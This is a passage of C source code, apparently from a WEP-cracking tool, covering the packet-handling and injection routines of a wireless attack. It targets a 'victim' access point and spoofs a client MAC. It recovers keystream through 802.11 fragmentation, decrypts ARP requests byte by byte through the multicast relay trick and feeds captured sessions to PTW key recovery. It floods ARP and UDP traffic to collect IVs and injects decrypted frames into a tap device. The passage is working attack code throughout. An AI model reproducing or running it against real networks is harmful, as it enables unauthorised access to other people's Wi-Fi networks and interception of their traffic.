1098         if (type == IEEE80211_FC0_TYPE_DATA &&
1099             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1100                 int dlen;
1101                 dlen = len - sizeof(*wh) - 4 -4;
1102
1103                 if (!( wh->i_fc[1] & IEEE80211_FC1_WEP)) {
1104                         time_print("WARNING: Got NON wep packet from %s dlen %d stype=%x\n",
1105                                    mac2str(wh->i_addr2), dlen, stype);
1106                                    return;
1107                 }
1108
1109                 assert (wh->i_fc[1] & IEEE80211_FC1_WEP);
1110
1111                 if ((dlen == 36 || dlen == PADDED_ARPLEN) && rtrmac == (unsigned char*) 1) {
1112                         rtrmac = (unsigned char *) malloc(6);
1113                         if (!rtrmac) {
1114                                 perror("malloc()");
1115                                 exit(1);
1116                         }
1117
1118                         assert( rtrmac > (unsigned char*) 1);
1119
1120                         memcpy (rtrmac, wh->i_addr3, 6);
1121                         time_print("Got arp reply from (%s)\n", mac2str(rtrmac));
1122
1123                         return;
1124                 }
1125 #if 0
1126                 // check if its a TTL update from dictionary stuff
1127                 if (dlen >= (8+20+8+MAGIC_TTL_PAD) &&
1128                     dlen <= (8+20+8+MAGIC_TTL_PAD+128)) {
1129                         int ttl_delta, new_ttl;
1130
1131                         ttl_delta = dlen - 8 - 20 - 8 - MAGIC_TTL_PAD;
1132                         new_ttl = 128 - ttl_delta;
1133
1134                         if (ttl_val && new_ttl != ttl_val) {
1135                                 time_print("oops. ttl changed from %d to %d\n",
1136                                            ttl_val, new_ttl);
1137                                 exit(1);
1138                         }
1139
1140                         if (!ttl_val) {
1141                                 ttl_val = new_ttl;
1142                                 printf("\n");
1143                                 time_print("Got TTL of %d\n", ttl_val);
1144                                 calculate_inet_clear();
1145                         }
1146                 }
1147
1148                 // check if its dictionary data
1149                 if (ttl_val && dlen == (8+20+8+PRGA_LEN)) {
1150                         log_dictionary(body, len - sizeof(*wh));
1151                 }
1152 #endif
1153         }
1154
1155 #if 0
1156         printf ("Got frame for us (type=%x stype=%x) from=(%s) len=%d\n",
1157                 type, stype, mac2str(wh->i_addr2), len);
1158 #endif
1159 }
1160
1161 void decrypt_arpreq(struct ieee80211_frame* wh, int rd) {
1162         unsigned char* body;
1163         int bodylen;
1164         unsigned char clear[36];
1165         unsigned char* ptr;
1166         struct arphdr* h;
1167         int i;
1168
1169         body = (unsigned char*) wh+sizeof(*wh);
1170         ptr = clear;
1171
1172         // calculate clear-text
1173         memcpy(ptr, arp_clear, sizeof(arp_clear)-1);
1174         ptr += sizeof(arp_clear) -1;
1175
1176         h = (struct arphdr*)ptr;
1177         h->ar_hrd = htons(ARPHRD_ETHER);
1178         h->ar_pro = htons(ETHERTYPE_IP);
1179         h->ar_hln = 6;
1180         h->ar_pln = 4;
1181         h->ar_op = htons(ARPOP_REQUEST);
1182         ptr += sizeof(*h);
1183
1184         memcpy(ptr, wh->i_addr3, 6);
1185
1186         bodylen = rd - sizeof(*wh) - 4 - 4;
1187         decryptstate.clen = bodylen;
1188         decryptstate.cipher = (unsigned char*) malloc(decryptstate.clen);
1189         if (!decryptstate.cipher) {
1190                 perror("malloc()");
1191                 exit(1);
1192         }
1193         decryptstate.prgainfo.prga = (unsigned char*) malloc(decryptstate.clen);
1194         if (!decryptstate.prgainfo.prga) {
1195                 perror("malloc()");
1196                 exit(1);
1197         }
1198
1199
1200         memcpy(decryptstate.cipher, &body[4], decryptstate.clen);
1201         memcpy(decryptstate.prgainfo.iv, body, 3);
1202
1203         memset(decryptstate.prgainfo.prga, 0, decryptstate.clen);
1204         for(i = 0; i < (8+8+6); i++) {
1205                 decryptstate.prgainfo.prga[i] = decryptstate.cipher[i] ^
1206                                                 clear[i];
1207         }
1208
1209         decryptstate.prgainfo.len = i;
1210         time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3));
1211 }
1212
1213 void log_wep(struct ieee80211_frame* wh, int len) {
1214         int rd;
1215         struct pcap_pkthdr pkh;
1216         struct timeval tv;
1217         unsigned char *body = (unsigned char*) (wh+1);
1218
1219         memset(&pkh, 0, sizeof(pkh));
1220         pkh.caplen = pkh.len = len;
1221         if (gettimeofday(&tv, NULL) == -1)
1222                 err(1, "gettimeofday()");
1223         pkh.ts = tv;
1224         if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh))
1225                 err(1, "write()");
1226
1227         rd = write(weplog.fd, wh, len);
1228
1229         if (rd == -1) {
1230                 perror("write()");
1231                 exit(1);
1232         }
1233         if (rd != len) {
1234                 time_print("short write %d out of %d\n", rd, len);
1235                 exit(1);
1236         }
1237
1238 #if 0
1239         if (fsync(weplog.fd) == -1) {
1240                 perror("fsync()");
1241                 exit(1);
1242         }
1243 #endif
1244
1245         memcpy(weplog.iv, body, 3);
1246         weplog.packets++;
1247 }
1248
1249 void try_dictionary(struct ieee80211_frame* wh, int len) {
1250         unsigned char *body;
1251         char path[52];
1252         char paths[3][3];
1253         int i;
1254         int fd, rd;
1255         unsigned char packet[4096];
1256         int dlen;
1257         struct ether_header* eh;
1258         uLong crc;
1259         unsigned long *pcrc;
1260         unsigned char* dmac, *smac;
1261
1262         assert (len < sizeof(packet) + sizeof(*eh));
1263
1264         body = (unsigned char*) wh + sizeof(*wh);
1265
1266         for (i = 0; i < 3; i++)
1267                 snprintf(paths[i], sizeof(paths[i]), "%.2X", body[i]);
1268
1269         sprintf(path, "%s/%s/%s/%s", DICT_PATH, paths[0], paths[1], paths[2]);
1270
1271         fd = open(path, O_RDONLY);
1272         if (fd == -1)
1273                 return;
1274
1275         rd = read(fd, &packet[6], sizeof(packet)-6);
1276         if (rd == -1) {
1277                 perror("read()");
1278                 exit(1);
1279         }
1280         close(fd);
1281
1282
1283         dlen = len - sizeof(*wh) - 4;
1284         if (dlen > rd) {
1285                 printf("\n");
1286                 time_print("Had PRGA (%s) but too little (%d/%d)\n", path, rd,
1287                 dlen);
1288                 return;
1289         }
1290
1291         body += 4;
1292         for (i = 0; i < dlen; i++)
1293                 packet[6+i] ^= body[i];
1294
1295         dlen -= 4;
1296         crc = crc32(0L, Z_NULL, 0);
1297         crc = crc32(crc, &packet[6], dlen);
1298         pcrc = (unsigned long*) (&packet[6+dlen]);
1299
1300         if (*pcrc != crc) {
1301                 printf("\n");
1302                 time_print("HAD PRGA (%s) checksum mismatch! (%x %x)\n",
1303                            path, *pcrc, crc);
1304                 return;
1305         }
1306
1307         // fill ethernet header
1308         eh = (struct ether_header*) packet;
1309         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1310                 smac = wh->i_addr3;
1311         else
1312                 smac = wh->i_addr2;
1313
1314         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
1315                 dmac = wh->i_addr3;
1316         else
1317                 dmac = wh->i_addr1;
1318
1319         memcpy(eh->ether_dhost, dmac, 6);
1320         memcpy(eh->ether_shost, smac, 6);
1321         // ether type should be there from llc
1322
1323         dlen -= 8; // llc
1324         dlen += sizeof(*eh);
1325
1326 #if 0
1327         printf("\n");
1328         time_print("Decrypted packet [%d bytes]!!! w00t\n", dlen);
1329         hexdump(packet, dlen);
1330 #endif
1331
1332         rd = write(tapfd, packet, dlen);
1333         if (rd == -1) {
1334                 perror("write()");
1335                 exit(1);
1336         }
1337         if (rd != dlen) {
1338                 printf("Wrote %d / %d\n", rd, dlen);
1339                 exit(1);
1340         }
1341 }
1342
1343 int is_arp(struct ieee80211_frame *wh, int len)
1344 {
1345         int arpsize = 8 + sizeof(struct arphdr) + 10*2;
1346
1347         if (len == arpsize || len == 54)
1348                 return 1;
1349
1350         return 0;
1351 }
1352
1353 void *get_sa(struct ieee80211_frame *wh)
1354 {
1355         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1356                 return wh->i_addr3;
1357         else
1358                 return wh->i_addr2;
1359 }
1360
1361 void *get_da(struct ieee80211_frame *wh)
1362 {
1363         if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
1364                 return wh->i_addr1;
1365         else
1366                 return wh->i_addr3;
1367 }
1368
1369 int known_clear(void *clear, struct ieee80211_frame *wh, int len)
1370 {
1371         unsigned char *ptr = clear;
1372
1373         /* IP */
1374         if (!is_arp(wh, len)) {
1375                 unsigned short iplen = htons(len - 8);
1376
1377 //                printf("Assuming IP %d\n", len);
1378
1379                 len = sizeof(S_LLC_SNAP_IP) - 1;
1380                 memcpy(ptr, S_LLC_SNAP_IP, len);
1381                 ptr += len;
1382 #if 1
1383                 len = 2;
1384                 memcpy(ptr, "\x45\x00", len);
1385                 ptr += len;
1386
1387                 memcpy(ptr, &iplen, len);
1388                 ptr += len;
1389 #endif
1390                 len = ptr - ((unsigned char*)clear);
1391                 return len;
1392         }
1393 //        printf("Assuming ARP %d\n", len);
1394
1395         /* arp */
1396         len = sizeof(S_LLC_SNAP_ARP) - 1;
1397         memcpy(ptr, S_LLC_SNAP_ARP, len);
1398         ptr += len;
1399
1400         /* arp hdr */
1401         len = 6;
1402         memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len);
1403         ptr += len;
1404
1405         /* type of arp */
1406         len = 2;
1407         if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0)
1408                 memcpy(ptr, "\x00\x01", len);
1409         else
1410                 memcpy(ptr, "\x00\x02", len);
1411         ptr += len;
1412
1413         /* src mac */
1414         len = 6;
1415         memcpy(ptr, get_sa(wh), len);
1416         ptr += len;
1417
1418         len = ptr - ((unsigned char*)clear);
1419         return len;
1420 }
1421
1422 void add_keystream(struct ieee80211_frame* wh, int rd)
1423 {
1424         unsigned char clear[1024];
1425         int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4;
1426         int clearsize;
1427         unsigned char *body = (unsigned char*) (wh+1);
1428         int i;
1429
1430         clearsize = known_clear(clear, wh, dlen);
1431         if (clearsize < 16)
1432                 return;
1433
1434         for (i = 0; i < 16; i++)
1435                 clear[i] ^= body[4+i];
1436
1437         PTW_addsession(ptw, body, clear);
1438 }
1439
1440 void got_wep(struct ieee80211_frame* wh, int rd) {
1441         int bodylen;
1442         int dlen;
1443         unsigned char clear[1024];
1444         int clearsize;
1445         unsigned char *body;
1446
1447         bodylen = rd - sizeof(struct ieee80211_frame);
1448
1449         dlen = bodylen - 4 - 4;
1450         body = (unsigned char*) wh + sizeof(*wh);
1451
1452
1453         // log it if its stuff not from us...
1454         if ( (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) ||
1455              ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1456                 memcmp(wh->i_addr2, mymac, 6) != 0) ) {
1457
1458                 if (body[3] != 0) {
1459                         time_print("Key index=%x!!\n", body[3]);
1460                         exit(1);
1461                 }
1462                 log_wep(wh, rd);
1463                 add_keystream(wh, rd);
1464
1465                 // try to decrypt too
1466                 try_dictionary(wh, rd);
1467         }
1468
1469         // look for arp-request packets... so we can decrypt em
1470         if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1471             (memcmp(wh->i_addr3, mymac, 6) != 0) &&
1472             (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1473              (dlen == 36 || dlen == PADDED_ARPLEN) &&
1474             !decryptstate.cipher &&
1475             !netip) {
1476                 decrypt_arpreq(wh, rd);
1477         }
1478
1479         // we have prga... check if its our stuff being relayed...
1480         if (prgainfo.len != 0) {
1481                 // looks like it...
1482                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1483                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1484                     (memcmp(wh->i_addr1, "\xff\xff\xff\xff\xff\xff", 6) == 0) &&
1485                     dlen == fragstate.len) {
1486
1487 //                      printf("I fink AP relayed it...\n");
1488                         set_prga(body, &body[4], fragstate.data, dlen);
1489                         free(fragstate.data);
1490                         fragstate.data = NULL;
1491                         fragstate.waiting_relay = 0;
1492                 }
1493
1494                 // see if we get the multicast stuff of when decrypting
1495                 if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1496                     (memcmp(wh->i_addr3, mymac, 6) == 0) &&
1497                     (memcmp(wh->i_addr1, MCAST_PREF, 5) == 0) &&
1498                     dlen == 36) {
1499
1500                         unsigned char pr = wh->i_addr1[5];
1501
1502                         printf("\n");
1503                         time_print("Got clear-text byte: %d\n",
1504                         decryptstate.cipher[decryptstate.prgainfo.len-1] ^ pr);
1505
1506                         decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] = pr;
1507                         decryptstate.prgainfo.len++;
1508                         decryptstate.fragstate.waiting_relay = 1;
1509
1510                         // ok we got the ip...
1511                         if (decryptstate.prgainfo.len == 26+1) {
1512                                 unsigned char ip[4];
1513                                 int i;
1514                                 struct in_addr *in = (struct in_addr*) ip;
1515                                 unsigned char *ptr;
1516
1517                                 for (i = 0; i < 4; i++)
1518                                         ip[i] = decryptstate.cipher[8+8+6+i] ^
1519                                                 decryptstate.prgainfo.prga[8+8+6+i];
1520
1521                                 assert(!netip);
1522                                 netip = (unsigned char*) malloc(16);
1523                                 if(!netip) {
1524                                         perror("malloc()");
1525                                         exit(1);
1526                                 }
1527
1528                                 memset(netip, 0, 16);
1529                                 strcpy(netip, inet_ntoa(*in));
1530
1531                                 time_print("Got IP=(%s)\n", netip);
1532                                 strcpy(myip, netip);
1533
1534                                 ptr = strchr(myip, '.');
1535                                 assert(ptr);
1536                                 ptr = strchr(ptr+1, '.');
1537                                 assert(ptr);
1538                                 ptr = strchr(ptr+1, '.');
1539                                 assert(ptr);
1540                                 strcpy(ptr+1,"123");
1541
1542                                 time_print("My IP=(%s)\n", myip);
1543
1544
1545                                 free(decryptstate.prgainfo.prga);
1546                                 free(decryptstate.cipher);
1547                                 memset(&decryptstate, 0, sizeof(decryptstate));
1548                         }
1549                 }
1550                 return;
1551         }
1552
1553         clearsize = known_clear(clear, wh, dlen);
1554         time_print("Datalen %d Known clear %d\n", dlen, clearsize);
1555
1556         set_prga(body, &body[4], clear, clearsize);
1557 }
1558
1559 void stuff_for_net(struct ieee80211_frame* wh, int rd) {
1560         int type,stype;
1561
1562         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1563         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1564
1565         if (type == IEEE80211_FC0_TYPE_DATA &&
1566             stype == IEEE80211_FC0_SUBTYPE_DATA) {
1567                 int dlen = rd - sizeof(struct ieee80211_frame);
1568
1569                 if (state == SPOOF_MAC) {
1570                         unsigned char mac[6];
1571                         if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
1572                                 memcpy(mac, wh->i_addr3, 6);
1573                         } else if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) {
1574                                 memcpy(mac, wh->i_addr1, 6);
1575                         } else assert(0);
1576
1577                         if (mac[0] == 0xff || mac[0] == 0x1)
1578                                 return;
1579
1580                         memcpy(mymac, mac, 6);
1581                         time_print("Trying to use MAC=(%s)\n", mac2str(mymac));
1582                         state = FOUND_VICTIM;
1583                         return;
1584                 }
1585
1586                 // wep data!
1587                 if ( (wh->i_fc[1] & IEEE80211_FC1_WEP) && dlen > (4+8+4)) {
1588                         got_wep(wh, rd);
1589                 }
1590         }
1591 }
1592
1593 void anal(unsigned char* buf, int rd, int tx) { // yze
1594         struct ieee80211_frame* wh = (struct ieee80211_frame *) buf;
1595         int type,stype;
1596         static int lastseq = -1;
1597         int seq;
1598         unsigned short *seqptr;
1599         int for_us = 0;
1600
1601         if (rd < 1) {
1602                 time_print("rd=%d\n", rd);
1603                 exit(1);
1604         }
1605
1606         type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
1607         stype = wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK;
1608
1609         // sort out acks
1610         if (state >= FOUND_VICTIM) {
1611                 // stuff for us
1612                 if (memcmp(wh->i_addr1, mymac, 6) == 0) {
1613                         for_us = 1;
1614                         if (type != IEEE80211_FC0_TYPE_CTL)
1615                                 send_ack(tx);
1616                 }
1617         }
1618
1619         // XXX i know it aint great...
1620         seqptr = (unsigned short*)  wh->i_seq;
1621         seq = (*seqptr & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1622         if (seq == lastseq && (wh->i_fc[1] & IEEE80211_FC1_RETRY) &&
1623             type != IEEE80211_FC0_TYPE_CTL) {
1624 //              printf("Ignoring dup packet... seq=%d\n", seq);
1625                 return;
1626         }
1627         lastseq = seq;
1628
1629         // management frame
1630         if (type == IEEE80211_FC0_TYPE_MGT) {
1631                 if(state == FIND_VICTIM) {
1632                         if (stype == IEEE80211_FC0_SUBTYPE_BEACON ||
1633                             stype == IEEE80211_FC0_SUBTYPE_PROBE_RESP) {
1634
1635                                 if (get_victim_ssid(wh, rd)) {
1636                                         return;
1637                                 }
1638                         }
1639
1640                 }
1641         }
1642
1643         if (state >= FOUND_VICTIM) {
1644                 // stuff for us
1645                 if (for_us) {
1646                         stuff_for_us(wh, rd);
1647                 }
1648
1649                 // stuff in network [even for us]
1650                 if ( ((wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) &&
1651                           (memcmp(victim.bss, wh->i_addr1, 6) == 0)) ||
1652
1653                           ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) &&
1654                           (memcmp(victim.bss, wh->i_addr2, 6) == 0))
1655                            ) {
1656                         stuff_for_net(wh, rd);
1657                 }
1658         }
1659 }
1660
1661 void do_arp(unsigned char* buf, unsigned short op,
1662             unsigned char* m1, unsigned char* i1,
1663             unsigned char* m2, unsigned char* i2) {
1664
1665         struct in_addr sip;
1666         struct in_addr dip;
1667         struct arphdr* h;
1668         unsigned char* data;
1669
1670         inet_aton(i1, &sip);
1671         inet_aton(i2, &dip);
1672         h = (struct arphdr*) buf;
1673
1674         memset(h, 0, sizeof(*h));
1675
1676         h->ar_hrd = htons(ARPHRD_ETHER);
1677         h->ar_pro = htons(ETHERTYPE_IP);
1678         h->ar_hln = 6;
1679         h->ar_pln = 4;
1680         h->ar_op = htons(op);
1681
1682         data = (unsigned char*) h + sizeof(*h);
1683
1684         memcpy(data, m1, 6);
1685         data += 6;
1686         memcpy(data, &sip, 4);
1687         data += 4;
1688
1689         memcpy(data, m2, 6);
1690         data += 6;
1691         memcpy(data, &dip, 4);
1692         data += 4;
1693 }
1694
1695 void send_fragment(int tx, struct frag_state* fs, struct prga_info *pi) {
1696         unsigned char buf[4096];
1697         struct ieee80211_frame* wh;
1698         unsigned char* body;
1699         int fragsize;
1700         uLong crc;
1701         unsigned long *pcrc;
1702         int i;
1703         unsigned short* seq;
1704         unsigned short sn, fn;
1705
1706         wh = (struct ieee80211_frame*) buf;
1707         memcpy(wh, &fs->wh, sizeof(*wh));
1708
1709         body = (unsigned char*) wh + sizeof(*wh);
1710         memcpy(body, &pi->iv, 3);
1711         body += 3;
1712         *body++ = 0; // key index
1713
1714         fragsize = fs->data + fs->len - fs->ptr;
1715
1716         assert(fragsize > 0);
1717
1718         if ( (fragsize + 4) > pi->len) {
1719                 fragsize = pi->len  - 4;
1720                 wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
1721         }
1722         // last fragment
1723         else {
1724                 wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
1725         }
1726
1727         memcpy(body, fs->ptr, fragsize);
1728
1729         crc = crc32(0L, Z_NULL, 0);
1730         crc = crc32(crc, body, fragsize);
1731         pcrc = (unsigned long*) (body+fragsize);
1732         *pcrc = crc;
1733
1734         for (i = 0; i < (fragsize + 4); i++)
1735                 body[i] ^= pi->prga[i];
1736
1737         seq = (unsigned short*) &wh->i_seq;
1738         sn = (*seq & IEEE80211_SEQ_SEQ_MASK) >> IEEE80211_SEQ_SEQ_SHIFT;
1739         fn = *seq & IEEE80211_SEQ_FRAG_MASK;
1740 //      printf ("Sent frag (data=%d) (seq=%d fn=%d)\n", fragsize, sn, fn);
1741
1742         send_frame(tx, buf, sizeof(*wh) + 4 + fragsize+4);
1743
1744         seq = (unsigned short*) &fs->wh.i_seq;
1745         *seq = fnseq(++fn, sn);
1746         fs->ptr += fragsize;
1747
1748         if (fs->ptr - fs->data == fs->len) {
1749 //              printf("Finished sending frags...\n");
1750                 fs->waiting_relay = 1;
1751         }
1752 }
1753
1754 void prepare_fragstate(struct frag_state* fs, int pad) {
1755         fs->waiting_relay = 0;
1756         fs->len = 8 + 8 + 20 + pad;
1757         fs->data = (unsigned char*) malloc(fs->len);
1758
1759         if(!fs->data) {
1760                 perror("malloc()");
1761                 exit(1);
1762         }
1763
1764         fs->ptr = fs->data;
1765
1766         do_llc(fs->data, ETHERTYPE_ARP);
1767         do_arp(&fs->data[8], ARPOP_REQUEST,
1768                mymac, myip,
1769                "\x00\x00\x00\x00\x00\x00", "192.168.0.1");
1770
1771         memset(&fs->wh, 0, sizeof(fs->wh));
1772         fill_basic(&fs->wh);
1773
1774         memset(fs->wh.i_addr3, 0xff, 6);
1775         fs->wh.i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1776         fs->wh.i_fc[1] |= IEEE80211_FC1_DIR_TODS |
1777                                 IEEE80211_FC1_MORE_FRAG |
1778                                 IEEE80211_FC1_WEP;
1779
1780         memset(&fs->data[8+8+20], 0, pad);
1781 }
1782
1783 void discover_prga(int tx) {
1784
1785         // create packet...
1786         if (!fragstate.data) {
1787                 int pad = 0;
1788
1789                 if (prgainfo.len >= 20)
1790                         pad = prgainfo.len*3;
1791
1792                 prepare_fragstate(&fragstate, pad);
1793         }
1794
1795         if (!fragstate.waiting_relay) {
1796                 send_fragment(tx, &fragstate, &prgainfo);
1797                 if (fragstate.waiting_relay) {
1798                         if (gettimeofday(&fragstate.last, NULL) == -1)
1799                                 err(1, "gettimeofday()");
1800                 }
1801         }
1802 }
1803
1804 void decrypt(int tx) {
1805
1806         // gotta initiate
1807         if (!decryptstate.fragstate.data) {
1808                 prepare_fragstate(&decryptstate.fragstate, 0);
1809
1810                 memcpy(decryptstate.fragstate.wh.i_addr3,
1811                        MCAST_PREF, 5);
1812
1813                 decryptstate.fragstate.wh.i_addr3[5] =
1814                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1815
1816                 decryptstate.prgainfo.len++;
1817         }
1818
1819         // guess diff prga byte...
1820         if (decryptstate.fragstate.waiting_relay) {
1821                 unsigned short* seq;
1822                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1]++;
1823
1824 #if 0
1825                 if (decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1] == 0) {
1826                         printf("Can't decrpyt!\n");
1827                         exit(1);
1828                 }
1829 #endif
1830                 decryptstate.fragstate.wh.i_addr3[5] =
1831                 decryptstate.prgainfo.prga[decryptstate.prgainfo.len-1];
1832
1833                 decryptstate.fragstate.waiting_relay = 0;
1834                 decryptstate.fragstate.ptr = decryptstate.fragstate.data;
1835
1836                 seq = (unsigned short*) &decryptstate.fragstate.wh.i_seq;
1837                 *seq = fnseq(0, txstate.psent);
1838         }
1839
1840         send_fragment(tx, &decryptstate.fragstate,
1841                       &decryptstate.prgainfo);
1842 }
1843
1844 void flood_inet(tx) {
1845         static int send_arp = -1;
1846         static unsigned char arp_pkt[128];
1847         static int arp_len;
1848         static unsigned char udp_pkt[128];
1849         static int udp_len;
1850         static struct timeval last_ip;
1851
1852         // need to init packets...
1853         if (send_arp == -1) {
1854                 unsigned char* body;
1855                 unsigned char* ptr;
1856                 struct ieee80211_frame* wh;
1857                 struct ip* ih;
1858                 struct udphdr* uh;
1859
1860                 memset(arp_pkt, 0, sizeof(arp_pkt));
1861                 memset(udp_pkt, 0, sizeof(udp_pkt));
1862
1863                 // construct ARP
1864                 wh = (struct ieee80211_frame*) arp_pkt;
1865                 fill_basic(wh);
1866
1867                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1868                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1869                 memset(wh->i_addr3, 0xff, 6);
1870
1871                 body = (unsigned char*) wh + sizeof(*wh);
1872                 ptr = body;
1873                 ptr += 4; // iv
1874
1875                 do_llc(ptr, ETHERTYPE_ARP);
1876                 ptr += 8;
1877                 do_arp(ptr, ARPOP_REQUEST, mymac, myip,
1878                        "\x00\x00\x00\x00\x00\x00", netip);
1879
1880                 wepify(body, 8+8+20);
1881                 arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1882                 assert(arp_len < sizeof(arp_pkt));
1883
1884
1885                 // construct UDP
1886                 wh = (struct ieee80211_frame*) udp_pkt;
1887                 fill_basic(wh);
1888
1889                 wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1890                 wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1891                 memcpy(wh->i_addr3, rtrmac, 6);
1892
1893                 body = (unsigned char*) wh + sizeof(*wh);
1894                 ptr = body;
1895                 ptr += 4; // iv
1896
1897                 do_llc(ptr, ETHERTYPE_IP);
1898                 ptr += 8;
1899
1900                 ih = (struct ip*) ptr;
1901                 ih->ip_hl = 5;
1902                 ih->ip_v = 4;
1903                 ih->ip_tos = 0;
1904                 ih->ip_len = htons(20+8+5);
1905                 ih->ip_id = htons(666);
1906                 ih->ip_off = 0;
1907                 ih->ip_ttl = 128;
1908                 ih->ip_p = IPPROTO_UDP;
1909                 ih->ip_sum = 0;
1910
1911                 inet_aton(myip, &ih->ip_src);
1912                 inet_aton(floodip, &ih->ip_dst);
1913
1914                 ih->ip_sum = in_cksum((unsigned short*)ih, 20);
1915
1916                 ptr += 20;
1917                 uh = (struct udphdr*) ptr;
1918                 uh->uh_sport = htons(floodsport);
1919                 uh->uh_dport = htons(floodport);
1920                 uh->uh_ulen = htons(8+5);
1921                 uh->uh_sum = 0;
1922
1923                 ptr += 8;
1924                 strcpy(ptr, "sorbo");
1925
1926                 uh->uh_sum = udp_checksum(ptr - 8, 8+5, &ih->ip_src,
1927                                           &ih->ip_dst);
1928
1929                 wepify(body, 8+20+8+5);
1930                 udp_len = sizeof(*wh) + 4 + 8 + 20 + 8 + 5 + 4;
1931                 assert(udp_len < sizeof(udp_pkt));
1932
1933                 // bootstrap
1934                 send_arp = 1;
1935
1936                 memset(&last_ip, 0, sizeof(last_ip));
1937         }
1938
1939         if (send_arp == 1) {
1940                 struct timeval now;
1941                 unsigned long sec;
1942
1943                 if (gettimeofday(&now, NULL) == -1) {
1944                         perror("gettimeofday()");
1945                         exit(1);
1946                 }
1947
1948                 sec = now.tv_sec - last_ip.tv_sec;
1949
1950                 if (sec < 5)
1951                         return;
1952
1953                 send_frame(tx, arp_pkt, arp_len);
1954                 send_arp = 0;
1955         }
1956
1957         else if (send_arp == 0) {
1958                 if (gettimeofday(&last_ip, NULL) == -1) {
1959                         perror("gettimeofday()");
1960                         exit(1);
1961                 }
1962
1963                 send_frame(tx, udp_pkt, udp_len);
1964                 send_arp = 1;
1965         } else assert(0);
1966 }
1967
1968 void send_arp(int tx, unsigned short op, unsigned char* srcip,
1969               unsigned char* srcmac, unsigned char* dstip,
1970               unsigned char* dstmac) {
1971
1972         static unsigned char arp_pkt[128];
1973         unsigned char* body;
1974         unsigned char* ptr;
1975         struct ieee80211_frame* wh;
1976         int arp_len;
1977
1978         memset(arp_pkt, 0, sizeof(arp_pkt));
1979
1980         // construct ARP
1981         wh = (struct ieee80211_frame*) arp_pkt;
1982         fill_basic(wh);
1983
1984         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
1985         wh->i_fc[1] |= IEEE80211_FC1_WEP | IEEE80211_FC1_DIR_TODS;
1986         memset(wh->i_addr3, 0xff, 6);
1987
1988         body = (unsigned char*) wh + sizeof(*wh);
1989         ptr = body;
1990         ptr += 4; // iv
1991
1992         do_llc(ptr, ETHERTYPE_ARP);
1993         ptr += 8;
1994         do_arp(ptr, op, srcmac, srcip, dstmac, dstip);
1995
1996         wepify(body, 8+8+20);
1997         arp_len = sizeof(*wh) + 4 + 8 + 8 + 20 + 4;
1998         assert(arp_len < sizeof(arp_pkt));
1999
2000         send_frame(tx, arp_pkt, arp_len);
2001 }
2002
2003 void can_write(int tx) {
2004         static char arp_ip[16];
2005
2006         switch (state) {
2007                 case FOUND_VICTIM:
2008                         send_auth(tx);
2009                         state = SENDING_AUTH;
2010                         break;
2011
2012                 case GOT_AUTH:
2013                         send_assoc(tx);
2014                         state = SENDING_ASSOC;
2015                         break;
2016
2017                 case GOT_ASSOC:
2018                         if (prgainfo.prga && prgainfo.len < min_prga) {
2019                                 discover_prga(tx);
2020                                 break;
2021                         }
2022
2023                         if (decryptstate.cipher) {
2024                                 decrypt(tx);
2025                                 break;
2026                         }
2027
2028                         if (!prgainfo.prga)
2029                                 break;
2030
2031                         if (taptx_len) {
2032                                 send_frame(tx, taptx, taptx_len);
2033                                 taptx_len = 0;
2034                                 break;
2035                         }
2036
2037                         // try to find rtr mac addr
2038                         if (netip && !rtrmac) {
2039                                 char* ptr;
2040
2041                                 strcpy(arp_ip, netip);
2042                                 if (!netip_arg) {
2043                                         ptr = strchr(arp_ip, '.');
2044                                         assert(ptr);
2045                                         ptr = strchr(++ptr, '.');
2046                                         assert(ptr);
2047                                         ptr = strchr(++ptr, '.');
2048                                         assert(ptr);
2049                                         strcpy(++ptr, "1");
2050                                 }
2051
2052                                 if (gettimeofday(&arpsend, NULL) == -1)
2053                                         err(1, "gettimeofday()");
2054
2055                                 time_print("Sending arp request for: %s\n", arp_ip);
2056                                 send_arp(tx, ARPOP_REQUEST, myip, mymac,
2057                                          arp_ip, "\x00\x00\x00\x00\x00\x00");
2058
2059                                 // XXX lame
2060                                 rtrmac = (unsigned char*)1;
2061                                 break;
2062                         }
2063
2064                         // need to generate traffic...
